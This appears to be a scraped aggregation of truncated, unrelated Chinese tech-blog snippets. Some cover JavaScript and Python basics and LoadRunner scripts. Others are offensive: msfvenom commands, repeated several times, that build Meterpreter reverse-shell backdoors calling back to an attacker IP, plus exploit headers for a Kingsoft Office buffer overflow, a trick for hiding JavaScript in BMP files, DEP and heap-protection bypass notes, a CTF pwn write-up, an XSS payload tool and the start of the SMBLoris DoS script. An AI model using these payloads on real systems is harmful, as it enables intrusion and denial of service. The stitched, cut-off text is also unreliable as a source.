var ie = !-[1,]: 这句代码在IE9之前曾被称为世界上最短的IE判定代码.代码虽短但确包含了不少javascript基础知识在里面.在这个例子中代码执行时会先调用数组的toString()方法 ,执行[1,].toString()在IE6,7,8中将会得到“1,”.然后表达式就变为!-“1,”.再尝试把“1,”转换成数值类型得到NaN ,再对NaN取负得到值仍为NaN.最后执行!NaN返回true.下面通过分解这个语句来回顾下代码中所涉及到的javascript知识: 浏览器的数组

MSF 生成各种后门 Windows: 生成Windows后门. msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/me

Your environment has been set up for using Node.js 8.5.0 (x64) and npm. C:\Users\horn1>cd C:\Users\horn1\Desktop\python\42-torrentParser C:\Users\horn1\Desktop\python\42-torrentParser>python torrentParser.py 文件名=./6.torrent 文件结构: announce:b'http://t

1. 将原BMP文件的第三,第四字节替换为\x2F\x2A, 对应js中的注释符号/*BMP文件的第三.四.五.六字节表示BMP文件的大小2. 在BMP文件末尾添加(1)\xFF(2)\x2A\x2F,对应的js中的注释符号*/(3)\x3D\x31\x3B,对应的=1;  是为了伪造成BMP格式(4)定制的JS代码 fname = "hack.bmp" pfile = open(fname,"r+b") buff = pfile.read() buff.repla

windows msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe mac msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT

msfvenom生成payload命令 windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -opayload.exe mac: msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_

#!/usr/bin/python # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH) # Version: 2012 8.1.0.3385 # Date: 2013-11-27 # Author: Julien Ahrens (@MrTuxracer) # Homepage: http://www.rcesecurity.com # Software Link:

#!/usr/bin/python # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH) # Version: 2012 8.1.0.3385 # Date: 2013-11-27 # Author: Julien Ahrens (@MrTuxracer) # Homepage: http://www.rcesecurity.com # Software Link:

robot.libraries 计划举办机器人框架标准测试库. 图书馆是主要用于外部的测试数据,但是他们可以 也使用自定义测试库是否有必要. 特别是 的内装式 图书馆通常是有用的 当需要与框架. 因为使用机器人框架库记录的文档 语法,生成的API文档并不良好. 因此更好的 找到生成的库文件 子 robot.libraries.BuiltIn robot.libraries.BuiltIn.run_keyword_variant(resolve) classrobot.libraries.Buil

1.list can hold  arbitrary  objects and can expand dynamically as new items are added. A list is an  ordered  set of items. 2.A tuple is an  immutable list. A tuple can not be changed in any way once it is created. 3.A set is an  unordered “bag”  of

In Python 3 unicode strings are the 'regular strings' (str) and byte strings are separate objects. Low level I/O can be done only with data (byte strings), not text (sequence of characters). For Python 2.x str was also the 'binary data' type. In Pyth

测试方法: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! #!/usr/bin/python # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH) # Version: 2012 8.1.0.3385 # Date: 2013-11-27 # Author: Julien Ahrens (@MrTuxracer) # Homepage: ht

之前一段时间一直在忙着写毕业论文,盲评搞得人心惶惶,以致于都没有看书,最近需要补上前面落下的东西. <Python3程序开发指南> 1.二进制数据的读写 二进制格式通常是占据磁盘空间最小.保存与加载速度最快的数据格式.最简单的方法是使用pickle.    pickle模块主要提供了数据持久化功能 序列化可使用dumps()函数,逆序列化使用loads()函数,将文件中的数据解析为一个python对象. 现有5种版本的pickle模块,分别为0到4 pickle模块提供的常量: pickle.

微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击. * Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心.SP2 在进行删除操作时,提前验证堆块的完整性,以防止 DWORD SHOOT: int safe_r

一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中取指令,则会发生错误.为了解决这个问题,MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数,可以修改可执行属性.故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行,进而绕过 DEP. BOOL Virt

题目给出了pwn200和libc.so.使用IDA查看程序,发现逻辑很简单. 使用checksec查看pwn200的安全属性,如下图: 发现NX enabled,No PIE. 在第一次读(0x08048524位置)的时候,可以读取17个字节,观察栈结构: 发现可以将nbytes覆盖,可以覆盖为0xff. 在第二次读(0x08048596位置)的时候,可以覆盖程序的返回地址至“08048507 call    _write”,并且构造栈参数(为了泄露库函数的虚拟地址).如下: 这样程序一返回(0

#include "lrs.h" vuser_init(){ char *ip; int handler; //编写获取LR分配的Vuser IP函数,将IP保存在ip变量中. ip=lr_get_vuser_ip(); if(ip) lr_vuser_status_message("the ip address is %s:",ip); else lr_vuser_status_message("IP spooler disabled"); /

第一部分: #include "lrs.h" vuser_init(){ lrs_startup(257); return 0;} 第二部分: Action(){ char *ReturnValue_Remote; char *ReturnPort_Remote; char *ReturnValue_Local; char *ReturnPort_Local; char *AcutalBuffer; int BufferSize; char *ip; //编写获取LR分配的Vuser

XSSLESS 一个用Python编写的自动化XSS 负载(payload)攻击器 用法: 记录请求 并结合Burp proxy 选择你想生成的请求,然后右键选择“保存项目” 使用xssless生成你的 有效载荷(payload): ./xssless.py burp_export_file 开始淫荡吧,骚年! 特点: 跨站脚本自动生成payload,并结合Burp proxy 导入请求 有效载荷(payload)为100%的时候,不会冻结用户的浏览器 对有效载荷(payload)进行了优化 C

在美国拉斯维加斯举行的2017年度DEF CON黑客大会上,安全研究人员公布了Windows系统上的一个长达20年没有发现的漏洞,该漏洞名为"SMBLoris",黑客可以轻松的使用简短的20行代码利用该漏洞即可发起DoS攻击导致系统内存资源耗尽,该漏洞影响Windows 2000及以上系统的SMBv1协议. from scapy.all import * import sys p0 = int(sys.argv[1]) conf.L3socket conf.L3socket=L3Raw

file 通常建议使用open()打开文件,file用于类型判断 如果要把数据写到磁盘上,除调用flush()外,还得用sync(),以确保数据从系统缓冲区同步到磁盘.close()总是会调用这两个方法. 打开模式: *r:只读 *w:只写.已存在文件将被清除 *a:添加.总是添加到文件尾部 *b:二进制模式 *r+:更新文件,可读写,不会截断文件 *w+:更新文件,可读写,清除原有内容 *a+:更新文件,可读写,总是在尾部添加 后面三种模式之前没有使用过. 文件对象还实现迭代器协议,可直接循环